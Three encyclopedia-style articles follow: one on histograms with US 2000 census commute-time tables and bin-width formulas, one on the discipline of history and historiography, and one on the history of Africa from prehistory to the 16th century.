            [image: Histogram of travel time, US 2000 census. Area under the curve equals the total number of cases. This diagram uses Q/width from the table.]

            
              Histogram of travel time, US 2000 census. Area under the curve equals the total number of cases. This diagram uses Q/width from the table.
            

          


          
            
              Data by absolute numbers
            

            
              	Interval

              	Width

              	Quantity

              	Quantity/width
            


            
              	0

              	5

              	4180

              	836
            


            
              	5

              	5

              	13687

              	2737
            


            
              	10

              	5

              	18618

              	3723
            


            
              	15

              	5

              	19634

              	3926
            


            
              	20

              	5

              	17981

              	3596
            


            
              	25

              	5

              	7190

              	1438
            


            
              	30

              	5

              	16369

              	3273
            


            
              	35

              	5

              	3212

              	642
            


            
              	40

              	5

              	4122

              	824
            


            
              	45

              	15

              	9200

              	613
            


            
              	60

              	30

              	6461

              	215
            


            
              	90

              	60

              	3435

              	57
            

          


          This histogram shows the number of cases per unit interval so that the height of each bar is equal to the proportion of total people in the survey who fall into that category. The area under the curve represents the total number of cases (124 million). This type of histogram shows absolute numbers.



          



          
            [image: Histogram of travel time, US 2000 census. Area under the curve equals 1. This diagram uses Q/total/width from the table.]

            
              Histogram of travel time, US 2000 census. Area under the curve equals 1. This diagram uses Q/total/width from the table.
            

          


          
            
              Data by proportion
            

            
              	Interval

              	Width

              	Quantity (Q)

              	Q/total/width
            


            
              	0

              	5

              	4180

              	0.0067
            


            
              	5

              	5

              	13687

              	0.0220
            


            
              	10

              	5

              	18618

              	0.0300
            


            
              	15

              	5

              	19634

              	0.0316
            


            
              	20

              	5

              	17981

              	0.0289
            


            
              	25

              	5

              	7190

              	0.0115
            


            
              	30

              	5

              	16369

              	0.0263
            


            
              	35

              	5

              	3212

              	0.0051
            


            
              	40

              	5

              	4122

              	0.0066
            


            
              	45

              	15

              	9200

              	0.0049
            


            
              	60

              	30

              	6461

              	0.0017
            


            
              	90

              	60

              	3435

              	0.0004
            

          


          This histogram differs from the first only in the vertical scale. The height of each bar is the decimal percentage of the total that each category represents, and the total area of all the bars is equal to 1, the decimal equivalent of 100%. The curve displayed is a simple density estimate. This version shows proportions, and is also known as a unit area histogram.



          In other words a histogram represents a frequency distribution by means of rectangles whose widths represent class intervals and whose areas are proportional to the corresponding frequencies. They only place the bars together to make it easier to compare data.


          


          Activities and demonstrations


          The SOCR resource pages contain a number of hands-on interactive activities demonstrating the concept of a Histogram, histogram construction and manipulation using Java applets and charts.


          


          Mathematical definition


          In a more general mathematical sense, a histogram is a mapping mi that counts the number of observations that fall into various disjoint categories (known as bins), whereas the graph of a histogram is merely one way to represent a histogram. Thus, if we let n be the total number of observations and k be the total number of bins, the histogram mi meets the following conditions:


          [image: n = \sum_{i=1}^k{m_i}.]


          


          Cumulative histogram


          A cumulative histogram is a mapping that counts the cumulative number of observations in all of the bins up to the specified bin. That is, the cumulative histogram Mi of a histogram mi is defined as:


          [image: M_i = \sum_{j=1}^i{m_j}]


          


          Number of bins and width


          There is no "best" number of bins, and different bin sizes can reveal different features of the data. Some theoreticians have attempted to determine an optimal number of bins, but these methods generally make strong assumptions about the shape of the distribution. You should always experiment with bin widths before choosing one (or more) that illustrate the salient features in your data.


          The number of bins k can be calculated directly, or from a suggested bin width h:


          
            	[image: k = \left \lceil \frac{\max x - \min x}{h} \right \rceil]

          


          The braces indicate the ceiling function.


          
            	Sturges' formula


            	[image: k = \lceil \log_2 n + 1 \rceil]

          


          which implicitly bases the bin sizes on the range of the data, and can perform poorly if n < 30.


          
            	Scott's choice


            	[image: h = \frac{3.5 s}{n^{1/3}}]

          


          where h is the common bin width, and s is the sample standard deviation.


          
            	Freedman-Diaconis' choice


            	[image: h = 2 \frac{\operatorname{IQR}(x)}{n^{1/3}}]

          


          which is based on the interquartile range


          


          Continuous data


          The idea of a histogram can be generalized to continuous data. Let [image: f \in L^1(R)] (see Lebesgue space), then the cumulative histogram operator H can be defined by:


          
            	H(f)(y) = with only finitely many intervals of monotony this can be rewritten as


            	[image: h(f)(y) = \sum_{\xi\in\{x�: f(x)=y\}} \frac{1}{|f'(\xi)|}].

          


          h(f)(y) is undefined if y is the value of a stationary point.
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            [image: Most of early history was passed on through oral tradition and hand-written documents.]

            
              Most of early history was passed on through oral tradition and hand-written documents.
            

          


          History is the study of the past, particularly the written record of the human race, but more generally including scientific and archaeological discoveries about the past. Recently, there has been an increased interest in oral histories and traditions, passed down from generation to generation verbally. New technology, such as photography, sound recording, and motion pictures, now complement the written word in the historical record.


          Academically, history is the field of research producing a continuous narrative and a systematic analysis of past events of importance to the human race. Those who study history as a profession are called historians.


          


          Etymology


          The word history comes from Greek ἱί (historia), from the Proto-Indo-European *wid-tor-, from the root *weid-, "to know, to see". This root is also present in the English words wit, wise, wisdom, vision, and idea, in the Sanskrit word veda, and in the Slavic word videti and vedati, as well as others. (The asterisk before a word indicates that it is a hypothetical construction, not an attested form.).


          The Ancient Greek word ἱί, histora, means "inquiry, knowledge acquired by investigation". It was in that sense that Aristotle used the word in his ί ά  ί, Peri Ta Zoa Istria or, in Latinized form, Historia Animalium. The term is derived from ἵ, hstōr meaning wise man, witness, or judge. We can see early attestations of ἵ in Homeric Hymns, Heraclitus, the Athenian ephebes' oath, and in Boiotic inscriptions (in a legal sense, either "judge" or "witness," or similar). The spirant is problematic, and not present in cognate Greek edomai ("to appear"). The form historen, "to inquire", is an Ionic derivation, which spread first in Classical Greece and ultimately over all of Hellenistic civilization.


          It was still in the Greek sense that Francis Bacon used the term in the late 16th century, when he wrote about " Natural History". For him, historia was "the knowledge of objects determined by space and time", that sort of knowledge provided by memory (while science was provided by reason, and poetry was provided by fantasy).


          The word entered the English language in 1390 with the meaning of "relation of incidents, story". In Middle English, the meaning was "story" in general. The restriction to the meaning "record of past events" arises in the late 15th century. In German, French, and most Germanic and Romance languages, the same word is still used to mean both "history" and "story". The adjective historical is attested from 1561, and historic from 1669.


          Historian in the sense of a "researcher of history" is attested from 1531. In all European languages, the substantive "history" is still used to mean both "what happened with men", and "the scholarly study of the happened", the latter sense sometimes distinguished with a capital letter, "History", or the word historiography


          


          Description


          
            [image: The title page to The Historians' History of the World.]

            
              The title page to The Historians' History of the World.
            

          


          Since historians are simultaneously observers of and participants in the historical process, the historical works they produce are written from the perspective of their own time and sometimes with due concern for possible lessons for their own future. In the words of Benedetto Croce, "All history is contemporary history". History is facilitated by the formation of a 'true discourse of past' through the production of narrative and analysis of past events relating to the human race. The modern discipline of history is dedicated to the institutional production of this discourse.


          All events that are remembered and preserved in some authentic form constitute the historical record. The task of historical discourse is to identify the sources which can most usefully contribute to the production of accurate accounts of past. Therefore, the constitution of the historian's archive is a result of circumscribing a more general archive by invalidating the usage of certain texts and documents (by falsifying their claims to represent the 'true past').


          The study of history has sometimes been classified as part of the humanities and at other times as part of the social sciences It can also be seen as a bridge between those two broad areas, incorporating methodologies from both. Some individual historians strongly support one or the other classification. In modern academia, history is increasingly classified as a social science. In the 20th century, French historian Fernand Braudel revolutionized the study of history, by using such outside disciplines as economics, anthropology, and geography in the study of global history.


          Traditionally, historians have recorded events of the past, either in writing or by passing on an oral tradition, and have attempted to answer historical questions through the study of written documents and oral accounts. For the beginning, historians have also used such sources as monuments, inscriptions, and pictures. In general, the sources of historical knowledge can be separated into three categories: what is written, what is said, and what is physically preserved, and historians often consult all three. But writing is the marker that separates history from what comes before.


          
            [image: Archaeologists excavate historical sites to discover information about the past.]

            
              Archaeologists excavate historical sites to discover information about the past.
            

          


          Archaeology is a discipline that is especially helpful in dealing with buried sites and objects, which, once unearthed, contribute to the study of history. But archaeology rarely stands alone. It uses narrative sources to complement its discoveries.


          There are varieties of ways in which history can be organized, including chronologically, culturally, territorially, and thematically. These divisions are not mutually exclusive, and significant overlaps are often present, as in "The International Women's Movement in an Age of Transition, 18001945." It is possible for historians to concern themselves with both the very specific and the very general, although the modern trend has been toward specialization. The area called Big History resists this specialization, and searches for universal patterns or trends. History has often been studied with some practical or theoretical aim, but also may be studied out of simple intellectual curiosity.


          


          History and prehistory


          
            [image: Stonehenge, located in the United Kingdom.]

            
              Stonehenge, located in the United Kingdom.
            

          


          By "prehistory", historians mean the recovery of knowledge of the past in an area where no written records exist, or where the writing of a culture is not understood. By studying painting, drawings, carvings, and other artifacts, some information can be recovered even in the absence of a written record. Since the 20th century, the study of prehistory is considered essential to avoid history's implicit exclusion of certain civilizations, such as those of Sub-Saharan Africa and pre-Columbian America. Historians in the West have been criticized for focusing disproportionately on the Western world. In 1961, British historian E. H. Carr wrote:


          
            	The line of demarcation between prehistoric and historical times is crossed when people cease to live only in the present, and become consciously interested both in their past and in their future. History begins with the handing down of tradition; and tradition means the carrying of the habits and lessons of the past into the future. Records of the past begin to be kept for the benefit of future generations.

          


          Such a definition would include within the scope of history peoples such as Australian Aboriginals and New Zealand Maori who, before contact with Europeans, already possessed a strong interest in the past and maintained oral records transmitted to succeeding generations.


          


          Historiography


          Historiography has a number of related meanings. Firstly, it can refer to how history has been produced: the story of the development of methodology and practices (for example, the move from short-term biographical narrative towards long-term thematic analysis). Secondly, it can refer to what has been produced: a specific body of historical writing (for example, "medieval historiography during the 1960s" means "Works of medieval history written during the 1960s"). Thirdly, it may refer to why history is produced: the Philosophy of History (Historiosophy). As a meta-level analysis of descriptions of the past, this third conception can relate to the first two in that the analysis usually focuses on the narratives, interpretations, worldview, use of evidence, or method of presentation of other historians.


          


          Historical methods
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                  Historical method basics
                

                


                The following questions are used by historians in modern work.


                
                  	When was the source, written or unwritten, produced ( date)?


                  	Where was it produced ( localization)?


                  	By whom was it produced ( authorship)?


                  	From what pre-existing material was it produced ( analysis)?


                  	In what original form was it produced ( integrity)?


                  	What is the evidential value of its contents ( credibility)?

                


                The first four are known as higher criticism; the fifth, lower criticism; and, together, external criticism. The sixth and final inquiry about a source is called internal criticism.

              
            

          


          The historical method comprises the techniques and guidelines by which historians use primary sources and other evidence to research and then to write history.


          Herodotus of Halicarnassus (484 BC  ca.425 BC) has generally been acclaimed as the "father of history". However, his contemporary Thucydides (ca. 460 BC  ca. 400 BC) is credited with having begun the scientific approach to history in his work the History of the Peloponnesian War. Thucydides, unlike Herodotus and other religious historians, regarded history as being the product of the choices and actions of human beings, and looked at cause and effect, rather than as the result of divine intervention. In his historical method, Thucydides emphasized chronology, a neutral point of view, and that the human world was the result of the actions of human beings. Greek historians also viewed history as cyclical, with events regularly recurring.


          There were historical traditions and sophisticated use of historical method in ancient and medieval China. The groundwork for professional historiography in East Asia was established by the Han Dynasty court historian known as Sima Qian (14590 BC), author of the Shiji ( Records of the Grand Historian). For the quality of his timeless written work, Sima Qian is posthumously known as the Father of Chinese Historiography. Chinese historians of subsequent dynastic periods in China used his Shiji as the official format for historical texts, as well as for biographical literature.


          Saint Augustine was influential in Christian and Western thought at the beginning of the medieval period. Through the Medieval and Renaissance periods, history was often studied through a sacred or religious perspective. Around 1800, German philosopher and historian Georg Wilhelm Friedrich Hegel brought philosophy and a more secular approach in historical study.


          In the preface to his book the Muqaddimah, historian and early sociologist Ibn Khaldun warned of seven mistakes that he thought that historians regularly committed. In this criticism, he approached the past as strange and in need of interpretation. The originality of Ibn Khaldun was to claim that the cultural difference of another age must govern the evaluation of relevant historical material, to distinguish the principles according to which it might be possible to attempt the evaluation, and lastly, to feel the need for experience, in addition to rational principles, in order to assess a culture of the past.


          Other historians of note who have advanced the historical methods of study include Leopold von Ranke, Lewis Bernstein Namier, Geoffrey Rudolph Elton, G.M. Trevelyan and A.J.P. Taylor. In the 20th century, historians focused less on epic nationalistic narratives, which often tended to glorify the nation or individuals, to more objective analyses. French historians introduced quantitative history, using raw data to track the lives of typical individuals, and were prominent in the establishment of cultural history (cf. histoire des mentalits). American historians, motivated by the civil rights era, focused on formerly overlooked ethnic, racial, and socio-economic groups. In recent years, postmodernists have challenged the validity and need for the study of history on the basis that all history is based on the personal interpretation of sources. In his book In Defence of History, Richard J. Evans, a professor of modern history at Cambridge University, defended the worth of history.


          


          Areas of study


          
            
              	
                
                  
                    	Particular studies and fields

                  

                

              
            


            
              	
                These are approaches to history; not listed are histories of other fields, such as history of science, history of mathematics and history of philosophy.


                
                  	Ancient history: the study from the beginning of human history until the Early Middle Ages.


                  	Art History: the study of changes in and social context of art.


                  	Big History: study of history on a large scale across long time frames and epochs through a multi-disciplinary approach.


                  	Chronology: science of localizing historical events in time.


                  	Contemporary history: the study of historical events that are immediately relevant to the present time.


                  	Counterfactual history: the study of historical events as they might have happened in different causal circumstances.


                  	Cultural history: the study of culture in the past.


                  	Economic History: the study of economies in the past.


                  	Futurology: study of the future: researches the medium to long-term future of societies and of the physical world.


                  	Intellectual history: the study of ideas in the context of the cultures that produced them and their development over time.


                  	Maritime history: the study of maritime transport and all the connected subjects.


                  	Modern history: the study of the Modern Times, the era after the Middle Ages.


                  	Military History: the study of warfare and wars in history and what is sometimes considered to be a sub-branch of military history, Naval History.


                  	Paleography: study of ancient texts.


                  	People's history: historical work from the perspective of common people.


                  	Political history: the study of politics in the past.


                  	Psychohistory: study of the psychological motivations of historical events.


                  	Pseudohistory: study about the past that falls outside the domain of mainstream history (sometimes it is an equivalent of pseudoscience).


                  	Social History: the study of the process of social change throughout history.


                  	Universal history: basic to the Western tradition of historiography.


                  	World History: the study of history from a global perspective.


                  	Women's history: the history of female human beings. Gender history is related and covers the perspective of gender.


                  	Natural history: the study of the development of the cosmos, the Earth, biology and interactions thereof.

                

              
            

          


          


          Periods


          Historical study often focuses on events and developments that occur particular blocks of time. Historians give these periods of time names in order to allow "organising ideas and classificatory generalisations" to be used by historians. The names given to a period can vary with geographical location, as can the dates of the start and end of a particular period. Centuries and decades are commonly used periods and the time they represent depends on the dating system used. Most periods are constructed retrospectively and so reflect value judgments made about the past. The way periods are constructed and the names given to them can affect the way they are viewed and studied.


          


          Geographical locations


          Particular geographical locations can form the basis of historical study, for example, continents, countries and cities.


          


          Regions


          
            	History of Africa


            	History of the Americas

              
                	History of North America


                	History of Central America


                	History of the Caribbean


                	History of South America

              

            


            	History of Antarctica


            	History of Australia


            	History of New Zealand


            	History of the Pacific Islands


            	History of Eurasia

              
                	History of Europe


                	History of Asia

                  
                    	History of East Asia


                    	History of the Middle East


                    	History of South Asia


                    	History of Southeast Asia

                  

                

              

            

          


          


          Military history


          Military history studies conflicts within human society usually concentrating on historical wars and warfare including battles, military strategies and weaponry. However, the subject may range from a melee between two tribes to conflicts between proper militaries to a world war affecting the majority of the human population. Military historians record the events of military history.


          


          Social history


          Social history is the study of how societies adapt and change over periods of time. Social history is an area of historical study considered by some to be a social science that attempts to view historical evidence from the point of view of developing social trends. In this view, it may include areas of economic history, legal history and the analysis of other aspects of civil society that show the evolution of social norms, behaviors and more.


          


          Diplomatic history


          Diplomatic history, sometimes referred to as "Rankian History" in honour of Leopold von Ranke, focuses on politics, politicians and other high rulers and views them as being the driving force of continuity and change in history. This type of political history is the study of the conduct of international relations between states or across state boundaries over time. This is the most common form of history and is often the classical and popular belief of what history should be.


          


          People's history


          A people's history is a type of historical work which attempts to account for historical events from the perspective of common people. A people's history is the history of the world that is the story of mass movements and of the outsiders. Individuals not included in the past in other type of writing about history are part of this theory's primary focus, which includes the disenfranchised, the oppressed, the poor, the nonconformists, and the otherwise forgotten people. This theory also usually focuses on events occurring in the fullness of time, or when an overwhelming wave of smaller events cause certain developments to occur.


          


          Gender history


          Gender history is a sub-field of History and Gender studies, which looks at the past from the perspective of gender. It is in many ways, an outgrowth of women's history. Despite its relatively short life, Gender History (and its forerunner Women's History) has had a rather significant effect on the general study of history. Since the 1960s, when the initially small field first achieved a measure of acceptance, it has gone through a number of different phases, each with its own challenges and outcomes. Although some of the changes to the study of history have been quite obvious, such as increased numbers of books on famous women or simply the admission of greater numbers of women into the historical profession, other influences are more subtle.


          


          Pseudohistory


          Pseudohistory is a term applied to texts which purport to be historical in nature but which depart from standard historiographical conventions in a way which undermines their conclusions. Works which draw controversial conclusions from new, speculative or disputed historical evidence, particularly in the fields of national, political, military and religious affairs, are often rejected as pseudohistory.


          In many countries, such as the Japan, Russia, and the United States, the subject taught in the primary and secondary schools under the name "history" is censored for political reasons. To give just a few of many examples: in Japan, mention of the Nanking Massacre has been removed from textbooks; in Russia under Stalin, history was rewritten to conform with communist party doctrine; and in the United States the history of the American Civil War is censored to avoid giving offense to White Southerners.


          This practice goes back to the earliest recorded times. In Book Three of The Republic, Plato recommends that citizens be taught lies in order to instill patriotism.


          Those who do not understand how real history is researched and annotated may believe what they learn in primary and secondary school, and develop a distorted worldview. There is evidence, however, that few students remember any of the "history" they are taught..


          


          Is history a science?


          Professional historians debate the question of whether history is a science or a liberal art. The distinction is artificial, as many view the field from more than one perspective. Professional historians also debate the question of whether history be taught as a single coherent narrative or a series of competing narratives. For the recent argument in support for the transformation of history into science see Peter Turchin's article "Arise Cliodynamics" in "Nature".
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        History of Africa


        
          

          The History of Africa begins from the emergence of modern human beings to its current state as a politically developing continent.


          Africa's ancient historic period involves the rise of Egyptian civilization, the further development of societies outside the Nile River Valley and the interaction between them and civilizations outside of Africa. In the late 7th century North and East Africa were heavily influenced by the spread of Islam, leading to the appearance of new cultures such as those of the Swahili people. This also lead to an increase in the Arab slave trade that would culminate in the 19th century. Pre-colonial African history focuses on the time between the early 16th century with the forced transport of African peoples and cultures to the New World in the Atlantic slave trade up to the beginning of the European scramble for Africa. Africa's colonial period lasted from the late 1800s until the advent of African independence movements in 1951 when Libya became the first former colony to become independent. Modern African history has been rife with revolutions and wars as well as the growth of modern African economies and democratization across the continent.


          Long-standing prejudice against particularly black Africans has meant that until recently African history writing was largely dictated by Eurocentric or outright racist scholarship. African history has been a challenge for researchers due to the scarcity of written sources in large parts of Sub-Saharan Africa, and also because of conflicting opinions on what is and is not African. Scholarly techniques such as the recording of oral history, historical linguistics, archeology and genetics (to trace the movement of peoples) have been crucial to writing the history of many regions that in the past often have been dismissed as lacking a meaningful history altogether.


          


          Prehistory


          According to the latest paleontological and archaeological evidence, hominids were already in existence at least five million years ago. Their skull anatomy was similar to their close cousins, the great African apes, but they had adopted a bipedal form of locomotion, giving them a crucial advantage, as this enabled them to live in both forested areas and on the open savanna at a time when Africa was drying up, with savanna encroaching on forested areas.


          By 3 million years ago several australopithecine hominid species had developed throughout southern, eastern and central Africa.


          The next major evolutionary step occurred approximately 2 million years ago, with the advent of Homo habilis, thought to be the first species of hominid capable of making tools. This enabled H. habilis to begin eating meat, using his stone tools to scavenge kills made by other predators, and harvest carrion for their bones and marrow. In hunting, H. habilis was probably not capable of competing with large predators, and was still more prey than hunter, although he probably did steal eggs from nests, and may have been able to catch small game, and weakened larger prey (cubs and older animals).


          Around 1.8 million years ago Homo erectus first appeared in the fossil record in Africa, but nearly simultaneously in the fossil record of the Caucuses (Eastern Europe). Some of the earlier representatives of this species were still fairly small brained and used primitive stone tools, much like H. habilis. The brain later grew in size and "H. erectus" eventually developed a more complex stone tool technology called the Acheulean. He was likely the first hunter. In addition Homo erectus mastered the art of making fire, and was the first hominid to leave Africa, colonizing the entire Old World, and later giving rise to Homo floresiensis. This is now contested by new theories suggesting that Homo georgicus, a Homo habilis descendant, was the first and most primitive hominid to ever live outside Africa. However, many scientists consider "Homo georgicus" to be an early and primitive member of the "Homo erectus" species.


          The fossil record shows Homo sapiens living in southern and eastern Africa at least 100,000 and possibly 150,000 years ago. Around 40,000 years ago, their expansion out of Africa launched the colonization of our planet by modern human-beings. Their migration is indicated by linguistic, cultural and (increasingly) computer-analyzed genetic evidence (see also Cavalli-Sforza).


          At the end of the Ice Age (guessed to have been around 10,500 BC), the Sahara had become a green fertile valley again, and its African populations returned from the interior and coastal highlands in Sub-Saharan Africa. However, the warming and drying climate meant that by 5000 BC the Sahara region was becoming increasingly drier. The population trekked out of the Sahara region towards the Nile Valley below the Second Cataract where they made permanent or semi-permanent settlements. A major climatic recession occurred, lessening the heavy and persistent rains in Central and Eastern Africa. Since then dry conditions have prevailed in Eastern Africa.


          


          Ancient cultures


          The international phenomenon known as the Beaker culture began to affect western North Africa. Named for the distinctively shaped ceramics found in graves, the Beaker culture is associated with the emergence of a warrior mentality. North African rock art of this period depict animals but also places a new emphasis on the human figure, equipped with weapons and adornments. People from the Great Lakes Region settled along the eastern shore of the Mediterranean Sea to become the proto-Canaanites who dominated the lowlands between the Jordan River, the Mediterranean and the Sinai Desert.


          By the 1st millennium BC, iron-working had been introduced in Northern Africa and quickly began spreading across the Sahara into the northern parts of sub-Saharan Africa and by 500 BC, metalworking began to become commonplace in West Africa, possibly after being introduced by the Carthaginians. Iron-working was fully established by roughly 500 BC in areas of East and West Africa, though other regions didn't begin iron-working until the early centuries AD. Some copper objects from Egypt, North Africa, Nubia and Ethiopia have been excavated in West Africa dating from around 500 BC time period, suggesting that trade networks had been established by this time.


          


          North Africa


          Neolithic rock engravings, or ' petroglyphs' and the megaliths in the Sahara desert of Libya attest to early hunter-gatherer culture in the dry grasslands of North Africa during the glacial age. The region of the present Sahara was an early site for the practice of agriculture (in the second stage of the culture characterized by the so-called "wavy-line ceramics" ca. 4000 BCE.). However, after the desertification of the Sahara, settlement in North Africa became concentrated in the valley of the Nile, where the pre-literate Nomes of Egypt laid a base for the culture of ancient Egypt. Archeological findings show that primitive tribes lived along the Nile long before the dynastic history of the pharaohs began. By 6000 B.C., organized agriculture had appeared.


          Africa's earliest evidence of written history was in Ancient Egypt, and the Egyptian calendar is still used as the standard for dating Bronze Age and Iron Age cultures throughout the region.


          In about 3100 B.C. Egypt was united under the first known Narmer, who inaugurated the first of the 30 dynasties into which Egypt's ancient history is divided: the Old, Middle Kingdoms and the New Kingdom. The pyramids at Giza (near Cairo), which were built in the Fourth dynasty, testify to the power of the pharaonic religion and state. The Great Pyramid, the tomb of Pharaoh Khufu (also known as Cheops), is the only surviving monument of the Seven Wonders of the Ancient World. Ancient Egypt reached the peak of its power, wealth, and territorial extent in the period called the New Empire (15671085 B.C.).


          The importance of Ancient Egypt to the development of the rest of Africa has been debated. The earlier generation of Western academia generally saw Egypt as a Mediterranean civilization with little impact on the rest of Africa. Recent scholarship however, has began to discredit this notion. Some have argued that various early Egyptians like the Badarians probably migrated northward from Nubia, while others see a wide-ranging movement of peoples across the breadth of the Sahara before the onset of desiccation. Whatever may be the origins of any particular people or civilization, however, it seems reasonably certain that the Predynastic communities of the Nile valley were essentially indigenous in culture, drawing little inspiration from sources outside the continent during the several centuries directly preceding the onset of historical times... (Robert July, Pre-Colonial Africa, 1975, p. 60-61)


          Just prior to Saharan desertification, the communities that developed south of Egypt, in what is now modern day Sudan, were full participants in the Neolithic revolution and lived a settled to semi-nomadic lifestyle with domesticated plants and animals. Megaliths found at Nabta Playa are examples of probably the world's first known archaeoastronomy devices, out dating Stonehenge by some 1000 years. This complexity, as observed at Nabta Playa, and expressed by different levels of authority within the society there, likely formed the basis for the structure of both the Neolithic society at Nabta and the Old Kingdom of Egypt. The early A-group peoples, whom inhabited today's northern Sudan and were contemporary with pre-dynastic Naquadan Upper Egypt, were responsible for what may have been one of the oldest known kingdoms in the Nile valley, which the Egyptians called "Ta-seti" (Land of the Bow). Their demise with the onset of Dynastic Egypt, later gave rise to such Kingdoms as Kush, Kerma and Meroe whom collectively comprised what is sometimes referred to as Nubia. The last of the kingdoms would see their final devastating blow by a leader of a rising Kingdom in Ethiopia, Ezana of Axum, effectively bringing to an end the classical Nubian civilizations.


          Separated by the 'sea of sand', the Sahara, North Africa and Sub-Saharan Africa have been linked by fluctuating trans-Saharan trade routes. Phoenician, Greek and Roman history of North Africa can be followed in entries for the Roman Empire and for its individual provinces in the Maghreb, such as Mauretania, Africa, Tripolitania, Cyrenaica, Aegyptus etc.


          Countries bordering the Mediterranean were colonised and settled by the Phoenicians before 1000 BC. Carthage, founded about 814 BC, speedily grew into a city without rival in the Mediterranean. The Phoenicians subdued the Berber tribes who, then as now, formed the bulk of the population, and became masters of all the habitable region of North Africa west of the Great Syrtis, and found in commerce a source of immense prosperity.


          By the 1st millennium BC, iron working had been introduced in Northern Africa and quickly began spreading across the Sahara into the northern parts of sub-Saharan Africa and by 500 BC, metalworking began to become commonplace in West Africa, possibly after being introduced by the Carthaginians. Iron working was fully established by roughly 500 BC in areas of East and West Africa, though other regions didn't begin iron working until the early centuries AD. Some copper objects from Egypt, North Africa, Nubia and Ethiopia have been excavated in West Africa dating from around 500 BC time period, suggesting that trade networks had been established by this time.


          Greeks founded the city of Cyrene in Ancient Libya around 631 BC. Cyrenaica became a flourishing colony, though being hemmed in on all sides by absolute desert it had little or no influence on inner Africa. The Greeks, however, exerted a powerful influence in Egypt. To Alexander the Great the city of Alexandria owes its foundation ( 332 BC), and under the Hellenistic dynasty of the Ptolemies attempts were made to penetrate southward, and in this way was obtained some knowledge of Ethiopia.


          From around 500 B.C. to around 500 A.D., the civilization of the Garamantes (probably the ancestors of the Tuareg) existed in what is now the Libyan desert.


          The three powers of Cyrenaica, Egypt and Carthage were eventually supplanted by the Romans. After centuries of rivalry with Rome, Carthage finally fell in 146 BC. Within little more than a century Egypt and Cyrene had become incorporated in the Roman empire. Under Rome the settled portions of the country were very prosperous, and a Latin strain was introduced into the land. Though Fezzan was occupied by them, the Romans elsewhere found the Sahara an impassable barrier. Nubia and Ethiopia were reached, but an expedition sent by the emperor Nero to discover the source of the Nile ended in failure. The utmost extent of Mediterranean geographical knowledge of the continent is shown in the writings of Ptolemy (2nd century), who knew of or guessed the existence of the great lake reservoirs of the Nile, of trading posts along the shores of the Indian Ocean as far south as Rhapta in modern Tanzania, and had heard of the river Niger.


          Interaction between Asia, Europe and North Africa during this period was significant, major effects include the spread of classical culture around the shores of the Mediterranean; the continual struggle between Rome and the Berber tribes; the introduction of Christianity throughout the region, and the cultural effects of the churches in Tunisia, Egypt and Ethiopia. The classical era drew to a close with the invasion and conquest of Rome's African provinces by the Vandals in the 5th century. Power passed back in the following century to the Byzantine Empire.


          Muslim Arabs conquered northern Africa from the Red Sea to the Atlantic and continued into Spain beginning with the invasion of Egypt in the 7th century. Throughout North Africa Christianity nearly disappeared, except in Egypt where the Coptic Church remained strong partly because of the influence of Ethiopia. Some argue that when the Arabs had converted Egypt they attempted to wipe out the Copts, Ethiopia, who also practiced Coptic Christianity, warned the Muslims that if they attempted to wipe out the Copts, Ethiopia would decrease the flow of Nile water from getting to Egypt. This was because Lake Tana, which was in Ethiopia was the source of the Blue Nile which is flows into the greater Nile. Some believe this to be one of the reasons that the Coptic minorities still exist today.


          


          East Africa


          By 3000 BC agriculture arose independently in Ethiopia, where coffee, teff, finger millet, sorghum, barley, and enset. Donkeys were also independently domesticated somewhere in the region of Ethiopia and Somalia, but most domesticated animals spread there from the Sahel and Nile regions. Agricultural crops were also adopted from other regions around this time as pearl millet, cowpea, groundnut, cotton, watermelon and bottle gourds began to be grown agriculturally in both West Africa and the Sahel Region while finger millet, peas, lentil and flax took hold in Ethiopia.


          Ethiopia had a distinct, ancient culture with an intermittent history of contact with Eurasia after the diaspora of hominids out of Africa. It preserved a unique language, culture and crop system. The crop system is adapted to the northern highlands and does not partake of any other area's crops. The most famous member of this crop system is coffee, but one of the more useful plants is sorghum, a dry-land grain; teff is also endemic to the region.


          Ethiopia had centralized rule for many millennia and the Aksumite Kingdom, which developed there, had created a powerful regional trading empire (with trade routes going as far as India).


          Historically, the Swahili could be found as far north as Mogadishu in Somalia, and as far south as Rovuma River in Mozambique. Although once believed to be the descendants of Persian colonists, the ancient Swahili are now recognized by most historians, historical linguists, and archaeologists as a Bantu people who had sustained and important interactions with Muslim merchants beginning in the late 7th and early 8th century AD.


          


          West Africa


          By 3000 BC agriculture arose independently in both the tropical portions of West Africa, where African yams and oil palms were domesticated. No animals were independently domesticated in these regions, although domestication did spread there from the Sahel and Nile regions. Agricultural crops were also adopted from other regions around this time as pearl millet, cowpea, groundnut, cotton, watermelon and bottle gourds began to be grown agriculturally in both West Africa and the Sahel Region while finger millet, peas, lentil and flax took hold in Ethiopia.


          


          Central Africa


          Around 1000 BC, Bantu migrants had reached the Great Lakes of East Africa. Halfway through that millennium, the Bantu had also settled as far south as the countries of what are now Angola and the Democratic Republic of the Congo. One of the major events that occurred in Central Africa during this period was the establishment of the Kanem Empire in what is now Chad. The Kanem Empire would flourish in the coming centuries setting the stage for future great states in the Sahel region of Africa.


          


          Southern Africa


          The history of Southern Africa is still much of a mystery, due to its isolation from other cultures on the continent. In 500 BC that isolation ended with the settling of Bantu migrants in modern Zambia. To the southeast, Khoisan "Bushmen" adopted cattle domestication and moved from the hunter-gatherer lifestyle that had dominated life in the region since the beginning of time. By 300 AD, the Bantu had reached modern South Africa laying the foundations for centralized states.


          [bookmark: 7th_to_16th_century]


          7th to 16th century


          
            [image: Civilizations before European colonization.]

            
              Civilizations before European colonization.
            

          


          In the 11th century there was a sizable Arab immigration, resulting in a large absorption of Berber culture. Even before this the Berbers had very generally adopted the speech and religion of their conquerors. Arab influence and the Islamic religion thus became indelibly stamped on northern Africa. Together they spread southward across the Sahara. They also became firmly established along the eastern seaboard, where Arabs, Persians and Indians planted flourishing colonies, such as Mombasa, Malindi and Sofala, playing a role, maritime and commercial, analogous to that filled in earlier centuries by the Carthaginians on the northern seaboard. Until the 14th century, Europe and the Arabs of North Africa were both ignorant of these eastern cities and states.


          The first Arab immigrants had recognized the authority of the caliphs of Baghdad, and the Aghlabite dynastyfounded by Aghlab, one of Haroun al-Raschid's generals, at the close of the 8th centuryruled as vassals of the caliphate. However, early in the 10th century the Fatimid dynasty established itself in Egypt, where Cairo had been founded AD 968, and from there ruled as far west as the Atlantic. Later still arose other dynasties such as the Almoravides and Almohades. Eventually the Turks, who had conquered Constantinople in 1453, and had seized Egypt in 1517, established the regencies of Algeria, Tunisia and Tripoli (between 1519 and 1551), Morocco remaining an independent Arabized Berber state under the Sharifan dynasty, which had its beginnings at the end of the 13th century.


